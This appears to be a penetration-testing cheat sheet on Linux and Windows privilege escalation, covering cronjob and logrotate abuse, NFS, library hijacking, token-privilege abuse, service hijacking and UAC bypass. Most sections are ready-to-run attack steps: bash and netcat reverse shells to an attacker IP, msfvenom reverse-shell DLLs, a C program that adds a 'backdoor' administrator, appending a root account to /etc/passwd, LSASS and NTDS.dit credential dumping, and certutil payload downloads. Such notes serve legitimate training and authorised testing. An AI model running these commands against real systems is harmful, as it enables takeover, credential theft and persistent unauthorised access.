**Exploiting Cronjobs:**

* By using `pspy` we can view running processes and commands run by others users without the need for root privileges
* CronJobs can be abused by analyzing their behaviour and the files they interact with
* Suppose a cronjob runs a backup script as root periodically.
* If we can interact with any resources handled by the script (or the script itself) we may be able to edit the logic of such script in order to get a reverse shell as the user running such cronjob (root)

***

## **Logrotate Abuse**

> `logrotate` is a tool (typically ran as a `cronjob`) used to manage all logs in `/var/logs`
>
> Its global settings configuration file is located at `/etc/logrotate.conf`, the `/etc/logrotate.d/` instead contains the configuration files for all forced rotations (after the first one)

**Exploiting logrotate with LogRotten:**

* **Prerequisites:** logrotate must run as `root` and we need `write permissions` on the logrotate log files
* **Vulnerable versions:** `3.8.6` `3.11.0` `3.15.0` `3.18.0`
* **Exploitation steps:**
  1. Use `pspy` to verify that a `cronjob` running `logrotate` as `root` is ran periodically
  2. Identify the logfile being rotated periodically: such files typically have a filename format like `filename.log.1` for the first rotation, then `filename.log.2` and so on
  3. `git clone https://github.com/whotwagner/logrotten.git`
  4. `gcc logrotten.c -o logrotten`
  5. `echo 'bash -i >& /dev/tcp/your-ip/nc-port 0>&1' > payload`
  6. Start the netcat listener on the attacker machine: nc -lvnp 9001
  7. Determine the option used by logrotate (create or compress): `grep "create\|compress" /etc/logrotate.conf | grep -v "#"`
  8. Adapt the payload based on the option specified in the `logrotate.conf` file:
     * Create: `./logrotten -p ./payload /tmp/log/pwnme.log`
     * Compress: `./logrotten -p ./payload -c -s 4 /tmp/log/pwnme.log`
  9. Wait for the rotation and get the reverse shell as root
  10. ***Disclaimer:*** sometimes you might need to edit the logfile (add a blank space) in order to trigger the rotation


# Miscellaneous Techniques

## **Shared Object Hijacking - Binary RUNPATH variable**

A binary or program may use a custom library that can be enumerated by using one of the following commands:

* `ldd /path/to/program-name`
* `readelf -d /path/to/program-name | grep PATH`

By checking the `RUNPATH` content, we can verify if a custom directory is being used.\
Custom libraries specified by the RUNPATH have higher priority compared to the other libraries, similarly. to LD\_PRELOAD\
In other terms, if the `RUNPATH` contains `/directoryname/customlibrary.so` we can hijack the shared library to elevate privileges

To abuse the RUNPATH, the procedure is the *same as the `LD_PRELOAD` abuse*:

* identify a function used by binary/program
* write a malicious shared library containing a reverse shell payload inside a function with the same signature as the original one
* substitute the original custom library file with the malicious one

***

## **Weak NFS Privileges to Privesc**

* Any accessible mounts can be listed remotely by issuing the command `showmount -e target-ip`
* When an NFS volume is created, various options can be set
* To escalate privileges, we need to have the `no_root_squash` option
* This option allows remote users connecting to the share as the local root user to create files on the NFS server as the root user.\This would allow for the creation of malicious scripts/programs with the SUID bit set.
* Basically, you can use the attacker's machine root user to create files on the NFS server as the root user
* To enumerate the exports on the machine hosting an NFS Share: `cat /etc/exports`
* If `no_root_squash` is set we can create a `SETUID` binary that executes `/bin/sh` using our local root user. \ We can then mount the `/tmp` directory locally, copy the root-owned binary over to the NFS server, and set the SUID bit.

**Exploitation steps:**

1. Suppose a target machine hosts a NFS Share. We can enumerate that by using `showmount -e target-ip`
2. Suppose we have local access to the target machine. We can check if the `no_root_squash` options is set for the previous share by using `cat /etc/exports`
3. Write the PoC script:

   ```
   #include <stdio.h>
   #include <sys/types.h>
   #include <unistd.h>
   int main(void)
   {
     setuid(0); setgid(0); system("/bin/bash");
   }
   ```
4. Compile the script: `gcc shell.c -o shell`
5. Use the local root user to copy the file on the NFS share as root:
   * `sudo mount -t nfs 10.129.2.12:/tmp /mnt`
   * `cp shell /mnt`
   * `chmod u+s /mnt/shell`
6. Switching back to the target host's session, we can escalate privileges to root by executing the binary: `cd /tmp; ./shell`

***

## **TMUX Terminal Session Hijacking (Requires DEV group)**

> * Terminal multiplexers such as `tmux` can be used to **allow multiple terminal sessions to be accessed within a single console session**
> * When not working in a tmux window, we can `detach` from the session, still leaving it `active`
> * We can gain a `root` terminal session if a user left a `tmux` process running as a privileged user
> * To do that, we need to have access to a user in the `dev` group to create a new `shared tmux session` and modify its ownership

**Exploitation steps:**

1. Create new shared sessions: `tmux -S /shareds new -s debugsess`
2. Change session owner: `chown root:devs /shareds`
3. Check for any ruynning tmux processes: `ps aux | grep tmux`
4. Attach the tmux session and get root privileges: `tmux -S /shareds`

***

## **Python Library Hijacking**

> * There are many ways in which we can hijack a Python library.
> * Much depends on the script and its contents itself.
> * However, there are three basic vulnerabilities where hijacking can be used

1. **Wrong write permissions:**
   * Requirements: A python script with `SUID` privileges that makes use of any library (`import libraryname`)
   * The library file will be located at `/usr/local/lib/python3.8/dist-packages/libraryname`
   * After checking which library function is called inside the python code, we can edit the library file by injecting a payload such as `import os` `os.system('id')`
   * Executing the python script again will show the results of the `id` command, confirming root privileges
2. **Library Path:**
   * Requirements: write permissions in one of the folders shown by the PYTHONPATH variable (preferrably one of the folders first folders)
   * To enumerate the PYTHONPATH variable contents: `python3 -c 'import sys; print("\n".join(sys.path))'`
   * PoC: if we have write permissions inside one of the folders specified by the PYTHONPATH variable\
     we can proceed in a similar manner as with the standard PATH environment variable abuse.
   * The basic idea is to write a file with the same name and signature as an imported library and inject a payload to run a shell
3. **PYTHONPATH environment variable:**
   * Requirements: permissions to edit the PYTHONPATH variable
   * To check that permission: `sudo -l` → Output: `SETENV: /usr/bin/python3`
   * PoC: edit the `PYTHONPATH` variable in the same way as a standard `PATH` environment variable privilege escalation

***

## Writeable passwd file

Always check whether you have write permissions into the `/etc/passwd` file.\
If that's the case, you can effectively set an arbitrary password for any account.

To check, use `ls -la /etc/passwd`

Supposing you have write permissions, you can `generate a password hash` and use it to log as `root` as follows:

1. Generate the password hash:\
   `openssl passwd w00t output: Fdzt.eqJQ4s0g`
2. Append the password hash inside the passwd file:\
   `echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd`
3. Now you can login as root using `su root2` and inserting `w00t` as the user's password

***

## Preserved Environment Variables via sudo -l (env\_keep)

Some sudo configurations allow preserving sensitive environment variables such as `BASH_ENV` through the `env_keep` directive. This works even if the sudo command is limited, because the altered environment affects how the command runs.

{% hint style="success" %}
The `BASH_ENV` variable instructs bash to source a custom configuration file on every non-interactive shell startup. If sudo preserves this variable, it is possible to escalate privileges using the binary specified by `sudo -l`
{% endhint %}

As an example, suppose you use `sudo -l` and notice the following:

<figure><img src="/files/IsB1A2RjpmKvqZm1z1tH" alt=""><figcaption></figcaption></figure>

You can leverage the `BASH_ENV` environment variable to escalate privileges, as it will be kept in the sudo user's shell environment due to the `env_keep` directive.\
To do that, run a netcat listener on your attacker machine and then, on the victim machine:

```bash
example@hostname:~$ echo 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1' > /tmp/exploit
example@hostname:~$ chmod +x /tmp/exploit
example@hostname:~$ export BASH_ENV=/tmp/exploit
example@hostname:~$ sudo /path/to/binary
```


# Windows Privilege Escalation

> Privilege Escalation refers to the process of exploiting misconfigurations, known vulnerabilities and unintended bugs in order to gain higher privileges on the target host. The final objective of this process is to gain the highest level of privileges on a target machine, achieving full compromise of that target.&#x20;

***

**Windows Privilege Escalation:**

1. Hacktricks: <https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation>
2. Hacktricks: <https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation>
3. Windows Privesc Collection: <https://github.com/ycdxsb/WindowsPrivilegeEscalation>


# Enumerating Attack Vectors

## **Helpful Tools**

**Miscellaneous:**

* [**Ghostpack Compiled Binaries**](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries)
* [**UAC (User Account Control) Bypasses**](https://github.com/hfiref0x/UACME)
* [**Impacket Tools**](https://github.com/fortra/impacket/tree/master/examples)
* [**NetCat for Windows**](https://github.com/int0x33/nc.exe/)

**Exploit Suggesters:**

* [**winPEAS**](https://github.com/carlospolop/PEASS-ng/releases): Windows local Privilege Escalation Awesome Script.
* [**Seatbelt**](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries): C# local privilege escalation checks.
* [**PowerUp**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): PowerShell script for finding common Windows privilege escalation vectors that rely on misconfigurations.
* [**SharpUp**](https://github.com/r3motecontrol/Ghostpack-CompiledBinaries): C# version of PowerUp .
* [**JAWS**](https://github.com/411Hall/JAWS/tree/master): PowerShell script for enumerating privilege escalation vectors written in PowerShell 2.0 .
* [**Watson**](https://github.com/rasta-mouse/Watson): .NET tool to enumerate missing KBs and suggest exploits.
* [**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng)
* **Metasploit Local Exploit Suggester**: `use post/multi/recon/local_exploit_suggester` on a backgrounded meterpreter sessions .

**Credentials:**

* [**LaZagne**](https://github.com/AlessandroZ/LaZagne/releases/): Retrieve passwords stored on a local machine from Windows password storage mechanisms and many different sources.
* [**MimiKatz**](https://github.com/ParrotSec/mimikatz): Extract credentials, perform PtH, PtT, craft golden tickets and more.
* [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher): PowerShell tool to find and decrypt saved session information for remote access tools.

***

## **Enumerating Windows Protection**

* Check Windows Defender status: `Get-MpComputerStatus`
* List AppLocker rules: `Get-AppLockerPolicy -Effective \| select -ExpandProperty RuleCollections`
* Test AppLocker policy: `Get-AppLockerPolicy -Local \| Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone`

***

## **Processes, Jobs, Scheduled Tasks**

* Dislpay all running processes (PowerShell): `Get-Process`
* List named pipes: `pipelist.exe /accepteula`
* List named pipes with PowerShell: `gci \\.\pipe\`
* Review permissions on a named pipe: `accesschk.exe /accepteula \\.\Pipe\lsass -v`
* Display running processes: `tasklist /svc`
* Enumerate scheduled tasks: `schtasks /query /fo LIST /v`
* Get ACLs for a specific scheduled task:\
  `icacls C:\Users\dude\Desktop\example.exe`
* Enumerate scheduled tasks with PowerShell: `Get-ScheduledTask \| select TaskName,State`
* Enumerate all Unquoted Service Paths: `wmic service get name,displayname,pathname,startmode \| findstr /i "auto" \| findstr /i /v "c:\windows\\" \| findstr /i /v """`

***

## **Kernel and OS**

* Display all environment variables: `set`
* View detailed system configuration information: `systeminfo`
* Get patches and updates: `wmic qfe`
* Get installed programs: `wmic product get name`
* Get Installed programs in PowerShell: `Get-WmiObject -Class Win32_Product \| select Name, Version`
* Enumerate computer description field: `Get-WmiObject -Class Win32_OperatingSystem \| select Description`

***

## **Registries**

* Query for always install elevated registry key (1): `reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer`
* Query for always install elevated registry key (2): `reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer`
* Find PuTTY clear-text credentials: `reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Session\`

***

## **Users and Groups**

* Get logged-in users: `query user`
* Get current user: `echo %USERNAME%`
* View current user privileges: `whoami /priv`
* View current user group information: `whoami /groups`
* Get all system user: `net user`
* Get all system groups: `net localgroup`
* View details about a group: `net localgroup administrators`
* Get password policy: `net accounts`
* Check permissions on a directory: `.\accesschk64.exe /accepteula -s -d C:\Scripts\`
* Check local user description field: `Get-LocalUser`
* Run commands as another user (requires their password): `runas /user:backupadmin cmd`

***

## **Network-Related**

* Display active network connections: `netstat -ano`
* Get interface, IP address and DNS information: `ipconfig /all`
* Review ARP table: `arp -a`
* Review routing table: `route print`

***

## **Installed Applications**

check installed applications:\
`Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname`

check installed applications (alternative):\
`Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname`

***

## **Credential Hunting**

* Search common configuration files containing the word "password":\
  `findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml`
* Searching file contents for a string:\
  `findstr /spin "password" *.*`
* Search file contents with PowerShell:\
  `select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password`
* Search for file extensions:\
  `dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*`
* Search for file extensions (alternative):\
  `Get-ChildItem -Path C:\ -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue`
* Search for file extensions using PowerShell:\
  `Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore`
* List `cmdkey` saved credentials (in memory): `cmdkey /list`
* Run SessionGopher to extract credentials:\
  `Import-Module .\SessionGopher.ps1` → `Invoke-SessionGopher -Target WINLPE-SRV01`
* Retrieve saved Chrome credentials: `.\SharpChrome.exe logins /unprotect`
* Search Chrome Dictionary Files containing passwords:\
  `gc 'C:\Users\username\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' \| Select-String password`
* Read the PowerShell History File:\
  `gc (Get-PSReadLineOption).HistorySavePath`
* Retrieve saved wireless passwords:\
  `netsh wlan show profile WIFINAME key=clear`
* Enumerate unattended installation files (files named `unattend.xml`) which may contain passwords, which are stored in plaintext or base64
* Enumerate `.kdbx` KeePass files and extract credentials using\
  `python2.7 keepass2john.py file.kdbx`, followed by `hashcat -m 13400`
* Extract clipboard (copy-paste) data: `git clone https://github.com/inguardians/Invoke-Clipboard/blob/master/Invoke-Clipboard.ps1`
* Search current user's history file content (PowerShell): `Get-History`
* Find all accessible PowerShell history files:\
  `foreach($user in ((ls C:\users).fullname)){cat "$user\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -ErrorAction SilentlyContinue}`
* Display a user's specific history file's content:\
  `type C:\Users\{USERNAME}\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt`
* Retrieve password from Windows Sticky Notes:\
  `C:\Users\<Username>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`

#### Windows Credential Manager <a href="#attacking-windows-credential-manager" id="attacking-windows-credential-manager"></a>

Credential Manager is a feature built into Windows since Server 2008 R2 and Windows 7 that allows users and applications to securely store credentials relevant to other systems and websites.

Credentials are stored in encrypted folders on the computer under the user and system profiles

* `%UserProfile%\AppData\Local\Microsoft\Vault\`
* `%UserProfile%\AppData\Local\Microsoft\Credentials\`
* `%UserProfile%\AppData\Roaming\Microsoft\Vault\`
* `%ProgramData%\Microsoft\Vault\`
* `%SystemRoot%\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault\`


# Excessive User Rights Abuse

## Disclaimer - Disabled Rights

> * User privileges can be `assigned but disabled`.
> * Some of them can be `re-enabled` using scripts or commands depending on the privilege.

## **SeImpersonate & SeAssignPrimaryToken - JuicyPotato &  Printspoofer**

> * These privileges can be used to trick a process running as `SYSTEM` to connect to the exploit process, handing over the token to be used.
> * In other words, whenever a user has one of these privileges, it's possible to get privilege escalation by impersonating `NT AUTHORITY\SYSTEM`

### **Escalating Privileges with JuicyPotato**

1. Download juicypotato and nc.exe on the target machine
2. Check CLSIDs:
   1. Use `systeminfo` to get the OS version
   2. Select the right list according to the OS Version from [Juicy Potato CLSIDs](https://github.com/ohpe/juicy-potato/tree/master/CLSID)
   3. Download the `test_clsid.bat` file from the [JuicyPotato GitHub](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)
   4. Run `test_clsid.bat` and wait, then check the `result.log` file
   5. Inside that log file you will find different CLSIDs.
   6. Look for a CLSID with SYSTEM privileges
3. Start a netcat listener on the attacker machine: `nc -lvnp 4444`
4. Run JuicyPotato: `.\juicypotato.exe -l SAMEPORT -c CLSID_SYSTEM_FROM_RESULTS -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe attacker-ip SAME-LISTENING-PORT" -t *`
5. Disclaimer/Troubleshooting: the listening netcat port and the port specified after the `-l` flag need to be the same in order to get the reverse shell

***

### **Escalating Privileges with PrintSpoofer**

> * JuicyPotato doesn't work on Windows Server 2019 and Windows 10 build 1809 onwards.
> * PrintSpoofer and RoguePotato can be used on them to leverage the same privileges and gain NT AUTHORITY\SYSTEM level access.

* We can use the tool to spawn a SYSTEM process in the current console, spawn a SYSTEM process on a desktop (if logged on locally or via RDP), or catch a reverse shell
* PoC to get a Reverse Shell:
  1. Download `printspoofer.exe` and `nc.exe` on the target machine
  2. Start a netcat listener on the attacker machine: `nc -lvnp 4444`
  3. Run PrintSpoofer: `PrintSpoofer.exe -c "c:\tools\nc.exe attacker-ip netcat-port -e cmd"`

***

## **SeDebugPrivilege**

> * SeDebugPrivilege determines which users can attach to or open any process, even a process they do not own.
> * Developers who are debugging their applications **DO NOT need** this user right.
> * Developers who are debugging new system components **need** this user right.
> * This user right provides access to sensitive and critical operating system components.
> * This user right can be used to capture sensitive information from system memory, or access/modify kernel and application structures
> * Sometimes, developer users are assigned the debugprivilege rather than being added to the administrators group, who have this privilege by default

#### **SeDebugPrivilege to Dump LSASS**

1. Use ProcDump to extract a dump of the LSASS process:\
   `procdump.exe -accepteula -ma lsass.exe lsass.dmp`
2. Using `mimikatz.exe`:
   * `sekurlsa::minidump`
   * `sekurlsa::logonPasswords`
   * Gain the `NTLM Hashes` to use for a `Pass the Hash` attack or to `crack` them

***

#### **SeDebugPrivilege to gain Remote Code Execution as SYSTEM**

1. Get this [PoC Script](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1) on the target system
2. Open an elevated powershell console (e.g. right click on PS and run as admin)
3. Run `tasklist` and look for a privileged process (e.g. `winlogon.exe`) and get its `PID`
4. Run the script:\
   `.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>,"")`
5. Alternatively:
   1. `Import-Module .\psgetsys.ps1`
   2. `ImpersonateFromParentPid -ppid (Get-Process "lsass").Id -command "C:\tools\revshell.exe"`

***

## **SeTakeOwnershipPrivilege**

> SeTakeOwnershipPrivilege is a `policy setting` that determines which users can take ownership of any securable object

* Check target file current ownership
  * **PowerShell:** `Get-ChildItem -Path 'C:\Path\to\file.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }`
  * **CMD:** `cmd /c dir /q 'C:\Path\to\file.txt'`
  * **Disclaimer:** Sometimes the owner won't show due to lack of permissions
* To **take ownership** of a file: `takeown /f 'C:\Path\to\file.txt'`
* To enable **full permissions** on a file: `icacls 'C:\Path\to\file.txt' /grant htb-student:F`

***

## **SeBackupPrivilege**

> * A user with SeBackupPrivilege enabled can bypass file and directory, registry, and other persistent object permissions for the purposes of backing up the system.
> * This will let us copy a file from a folder, bypassing any access control list (ACL).
> * However, we can't do this using the standard copy command.
> * Instead, we need to programmatically copy the data, making sure to specify the `FILE_FLAG_BACKUP_SEMANTICS` flag.
> * We can use the built-in `robocopy` tool or the following `PoC` to copy any file: <https://github.com/giuliano108/SeBackupPrivilege>

***

#### **SeBackupPrivilege to Copy any file**

1. `Import-Module .\SeBackupPrivilegeUtils.dll`
2. `Import-Module .\SeBackupPrivilegeCmdLets.dll`
3. If the privilege is assigned but disabled, use `Set-SeBackupPrivilege` and verify with `Get-SeBackupPrivilege`
4. Copy a file: `Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt' .\Contract.txt`

***

#### **SeBackupPrivilege to Copy any file with robocopy \[Built-in Utility]**

* Robocopy is a built-in utility that can be used to copy files in backup mode.
* No external tools are required
* `robocopy /B E:\Windows\NTDS .\ntds ntds.dit`

***

#### **SeBackupPrivilege to copy NTDS.dit**

> * The NTDS.dit file is locked by default
> * We can use the Windows `diskshadow` utility to **create a shadow copy** of the C drive and expose it as E drive.
> * The NTDS.dit in this shadow copy won't be in use by the system.
> * Then, we can use the `Copy-FileSeBackupPrivilege cmdlet` to bypass the ACL and copy the NTDS.dit locally.

Follow these steps:

1. `Import-Module .\SeBackupPrivilegeUtils.dll`
2. `Import-Module .\SeBackupPrivilegeCmdLets.dll`
3. If the privilege is assigned but disabled, use `Set-SeBackupPrivilege` and verify with `Get-SeBackupPrivilege`
4. Copy the NTDS file: `Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit`
5. Extract hashes using SecretsDump: `secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL`

***

## **SeLoadDriverPrivilege**

> * This policy setting determines which users can dynamically load and unload device drivers.
> * This user right is not required if a signed driver for the new hardware already exists in the driver.cab file on the device
> * Device drivers run as highly privileged code.

**Example - Capcom.sys**

* A typically vulnerable driver to this attack is Capcom.sys, which can allow any user to execute shellcode with SYSTEM privileges
* Download on the target machine: [Capcom.sys file](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys)
* Download EopLoadDriver and transfer on the target machine: [EopLoadDriver](https://github.com/TarlogicSecurity/EoPLoadDriver/)
* PoC Usage: `EOPLOADDRIVER.exe RegistryServicePath DriverImagePath`
* PoC Usage with CapCom.sys: `EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\path-to-downloaded\Capcom.sys`

***

## **SeSecurityPrivilege**

* This policy setting determines which users can specify object access audit options for individual resources such as files, Active Directory objects, and registry keys.
* These objects specify their system access control lists (SACL).
* A user assigned this user right can also view and clear the Security log in Event Viewer.

***

## **SeRestorePrivilege**

* This security setting determines which users can bypass file, directory, registry, and other persistent object permissions when they restore backed up files and directories.
* It determines which users can set valid security principals as the owner of an object.


# Built-in Groups Abuse

## **Backup Operators Group**

* Membership of this group grants its members the `SeBackup` and `SeRestore` privileges.
* This group also permits logging in locally to a domain controller.

***

## **Event Log Readers Group**

* Organizations may enable logging of process command lines to help defenders monitor and identify malicious behavior
* Members of this group may read these logs, potentially `finding user credentials`
* Search security logs containing the word `/user` with the **built-in utility** `wevtutil`: `wevtutil qe Security /rd:true /f:text | Select-String "/user"`

***

## **Server Operators Group**

* This group allows members to administer Windows servers without needing assignment of Domain Admin privileges.
* It is a very highly privileged group that can log in locally to servers, including Domain Controllers.
* Members can modify services, access SMB shares, and backup files.
* Membership of this group confers the powerful SeBackupPrivilege and SeRestorePrivilege privileges and the ability to control local services.

***

## **Print Operators Group**

* Members of this group are granted the `SeLoadDriver` privilege
* Members can log on to DCs locally and "trick" Windows into loading a malicious driver.
* This is a good privilege to perform privilege escalation (see above in the `SeLoadDriverPrivilege` section)
* If we issue the command `whoami /priv`, and don't see the `SeLoadDriverPrivilege` from an unelevated context, *we will need to bypass UAC*

***

## **Hyper-V Administrators Group**

* The Hyper-V Administrators group has full access to all Hyper-V features.
* If Domain Controllers have been virtualized, then the virtualization admins should be considered Domain Admins.
* They can easily create a clone of the live Domain Controller and mount the virtual disk offline to obtain the NTDS.dit file and extract NTLM password hashes for all users in the domain.
* Whenever possible, we can leverage CVE-2018-0952 or CVE-2019-0841 to gain SYSTEM privileges.
* Otherwise, we can try to take advantage of an application on the server that has installed a service running in the context of SYSTEM, which is startable by unprivileged users.

***

## **DNS Admins Group**

* Members can load a DLL on a DC, but do not have the necessary permissions to restart the DNS server.
* They can load a malicious DLL and wait for a reboot as a persistence mechanism.
* Loading a DLL will often result in the service crashing.
* A more reliable way to exploit this group is to use [cube0x0's exploit](https://cube0x0.github.io/Pocing-Beyond-DA/).
* PoC to add a member to the Domain Admins Group:
  1. Generate dll: `msfvenom -p windows/x64/exec cmd='net group "domain admins" TARGETUSER /add /domain' -f dll -o adduser.dll`
  2. Transfer the file to the target machine
  3. Load a custom DLL: `dnscmd.exe /config /serverlevelplugindll C:path\to\adduser.dll`
  4. CMD only: `sc stop dns`
  5. CMD only: `sc start dns`
  6. Confirm group membership: `net group "Domain Admins" /dom`

***

## **Account Operators Group**

* Members can modify non-protected accounts and groups in the domain.

***

## **Remote Desktop Users Group**

* Members are not given any useful permissions by default
* The main use of members of this group are to Login Through Remote Desktop Services and can move laterally using the RDP protocol.

***

## **Remote Management Users Group**

* Members can log on to DCs with PSRemoting
* This group is sometimes added to the local remote management group on non-DCs


# File System ACLs

## **Weak Permissions - File System ACLs**

We can use `SharpUp` to check for service binaries suffering from weak ACLs.

To verify the ACLs for a specific file: `icacls C:\path\to\file`

> Ideally, you need `(I)(F)`, which means full permissions, e.g. `BUILTIN\Users` or `Everyone:(I)(F)`

To check a service's permissions: `accesschk.exe /accepteula -quvcw ServiceName`

If you have full permissions on a service, then you can add the current user to the administrators localgroup. To do so: \[Requires `CMD`]

1. `sc config ServiceName binpath="cmd /c net localgroup administrators user-name /add"`
2. `sc stop ServiceName`
3. `sc start ServiceName`
4. **Disclaimer:** when starting the service you will get an error due to the previous `sc config` command


# Services Hijacking

## Service Binary Hijacking - Manually

Each Windows service has an associated binary file. These binary files are executed when the service is started or transitioned into a running state. As a result, a lower-privileged user could replace the program with a malicious one.&#x20;

To execute the replaced binary, the user can restart the service or, in case the service is configured to start automatically, reboot the machine. Once the service is restarted, the malicious binary will be executed with the privileges of the service, such as LocalSystem.

To get a list of all installed Windows services: `Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}`

To get the permissions of a specific binary: `icacls "C:\xampp\apache\bin\httpd.exe"`

We typically want to have the `Full Access (F)` permission, allowing us to write to and modify the binary and therefore, replace it. The permission must be set to our users, everyone, or similar.

If you have full access or write permissions, you can replace the service binary and then use

`net stop servicename` followed by `net start servicename`

if that doesn't work, check the start mode of the service using:\
`Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}`

if it is set to`Auto` then you will need to restart the computer using: `shutdown /r /t 0`

{% hint style="warning" %}
Notice that using  `net stop servicename` followed by `net start servicename`\
will most probably print an error message after the start command, even if the exploitation was successful. \
\
The reason is that, basically, the start command starts the hijacked binary, meaning that its code will be executed rather than the original service's code, which is why the service effectively fails to start.
{% endhint %}

***

### Service Binary Hijacking - Using PowerUp

After we import `PowerUp.ps1`, we can use `Get-ModifiableServiceFile`.\
This function displays services the current user can modify, such as the service binary or configuration files.

PowerUp also provides us an `AbuseFunction`, which is a built-in function to replace the binary and, if we have sufficient permissions, restart it. The default behaviour is to create a new local user called `john` with the password `Password123!` and add it to the local `Administrators` group.&#x20;

* To check the service related to a specific binary:
  * `Import-Module .\PowerUp.ps1`
  * `echo 'C:\xampp\mysql\bin\mysqld.exe' | Get-ModifiablePath -Litera`
* Invoke all PowerUp checks:
  * `Import-Module .\PowerUp.ps1`
  * `Invoke-AllChecks`
* Invoke the AbuseFunction on a specific service binary:
  * `Import-Module .\PowerUp.ps1`
  * `Invoke-ServiceAbuse -Name 'ServiceName'`

***

### C code snippet to replace the vulnerable executable

{% hint style="success" %}
You can use and compile the following C code snippet to replace vulnerable service binaries.
{% endhint %}

```

#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user backdoor backdoor123 /add");
  i = system ("net localgroup administrators backdoor /add");
  
  return 0;
}

//compile on kali using x86_64-w64-mingw32-gcc adduser.c -o binaryfilename.exe

```

***

## Unquoted Service Paths

When a service is installed, the registry configuration specifies a path to the binary that should be executed on service start. If the binary is `not encapsulated within quotes`, Windows will attempt to locate the binary in **different folders**.

For example, is the service binary path is\
`C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe`

Then Windows will attempt to run the following executables:

* `C:\Program.exe\`
* `C:\Program Files (x86)\System.exe`
* and so on...

In these cases, you can put a malicious executable in these directories to escalate privileges

***

### Enumeration & Exploitation

Using wmic:

* `wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """`

Using PowerUp.ps1:

* `Import-Module .\PowerUp.ps1`
* `Get-UnquotedService`

In order to exploit and subvert the original unquoted service call, we must create a malicious executable, place it in a directory that corresponds to one of the interpreted paths, and match its name to the interpreted filename.

Then, once the service is started, our file gets executed with the same privileges that the service starts with. Often, this happens to be the LocalSystem account, which results in a successful privilege escalation attack.

Supposing you have found the following unquoted service path:\
`C:\Program Files\My Program\My service\service.exe`

Use `icacls c:\`, then `C:\Program Files\` and so on until you have `(W) permissions on a folder` then `copy the malicious file with the target binary's name` and restart the service using `Stop-Service ServiceName`and `Start-Service ServiceName`

You can also that automatically using `PowerUp.ps1`:

1. `Import-Module .\PowerUp.ps1`
2. `Write-ServiceBinary -Name 'ServiceName' -Path "C:\path\to\example.exe"`
3. `Restart-Service ServiceName`


# User Account Control (UAC) Bypass

> UAC bypasses leverage flaws or unintended functionality in different Windows builds.
>
> The following repository contains many different UAC Bypassing Techniques: <https://github.com/hfiref0x/UACME>

## Initial Enumeration

Check if UAC is enabled (0x1=true): `REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA`

Check the UAC level(0x5=max level): `REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin`

To check the Windows Build: `[environment]::OSVersion.Version`

Check [this](https://github.com/hfiref0x/UACME) repository and see if anything exists for the target build number

***

## **Example - UAC Bypass in Windows Build 14393**

1. We can basically bypass UAC by placing a malicious `srrstr.dll` DLL to the `WindowsApps` folder, which will be loaded in an elevated context
2. Generate malicious DLL file:\
   `msfvenom -p windows/shell_reverse_tcp LHOST=our-ip LPORT=listening-port -f dll > srrstr.dll`
3. Transfer the DLL on the target machine
4. Start a netcat listener on the attacker machine: `nc -lvnp 4444`
5. Get a reverse shell: `C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe`


# Living off the Land

## File Transfers

| **Command**                                                                   | **Description**             |
| ----------------------------------------------------------------------------- | --------------------------- |
| `certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat` | Transfer file with certutil |
| `certutil -encode file1 encodedfile`                                          | Encode file with certutil   |
| `certutil -decode encodedfile file2`                                          | Decode file with certutil   |

***

## Enabling RDP (Requires local Administrator)

If you have control over a `local Administrator` account, you can enable RDP and use `xfreerdp` to perform `post-exploitation` in better conditions

